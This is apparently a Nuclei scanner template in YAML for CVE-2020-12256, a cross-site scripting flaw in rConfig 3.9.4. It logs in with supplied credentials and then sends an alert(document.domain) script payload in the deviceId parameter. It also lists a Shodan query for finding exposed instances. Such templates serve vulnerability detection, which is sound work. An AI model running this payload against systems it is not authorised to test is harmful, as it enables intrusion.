54 lines
2.1 KiB
YAML
54 lines
2.1 KiB
YAML
id: CVE-2020-12256
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info:
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name: rConfig 3.9.4 - Cross-Site Scripting
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author: r3Y3r53
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severity: medium
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description: |
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The rConfig 3.9.4 is vulnerable to cross-site scripting. The devicemgmnt.php file improperly validates the request coming from the user input. Due to this flaw, An attacker can exploit this vulnerability by crafting arbitrary javascript in `deviceId` GET parameter of devicemgmnt.php resulting in execution of the javascript.
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reference:
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- https://www.rconfig.com/downloads/rconfig-3.9.4.zip
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- https://gist.github.com/farid007/8855031bad0e497264e4879efb5bc9f8
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- https://nvd.nist.gov/vuln/detail/CVE-2020-12256
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- https://github.com/ARPSyndicate/kenzer-templates
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- https://github.com/Elsfa7-110/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.4
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cve-id: CVE-2020-12256
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cwe-id: CWE-79
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epss-score: 0.17512
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epss-percentile: 0.95674
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cpe: cpe:2.3:a:rconfig:rconfig:3.9.4:*:*:*:*:*:*:*
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metadata:
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verified: "true"
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max-request: 3
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vendor: rconfig
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product: rconfig
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shodan-query: http.title:"rConfig"
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tags: cve,cve2020,rconfig,authenticated,xss
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http:
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- raw:
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- |
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GET /login.php HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /lib/crud/userprocess.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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user={{username}}&pass={{password}}&sublogin=1
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- |
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GET /devicemgmt.php?deviceId="><script>alert(document.domain)</script> HTTP/1.1
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Host: {{Hostname}}
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host-redirects: true
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matchers:
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- type: dsl
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dsl:
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- 'status_code_3 == 200'
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- 'contains(body_3, "<script>alert(document.domain)</script>") && contains(body_3, "rConfig - Configuration Management")'
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- 'contains(content_type_3, "text/html")'
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condition: and
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# digest: 490a0046304402203df7f7a1fafc6740fbc98163bb2959e9bd581ba8ddfd68573ca0af9a64f081ab02202b23a11ef0e6910123ef3657ed3d2374c3748e4f25a59b1d9d7f2e20b40dd381:922c64590222798bb761d5b6d8e72950 |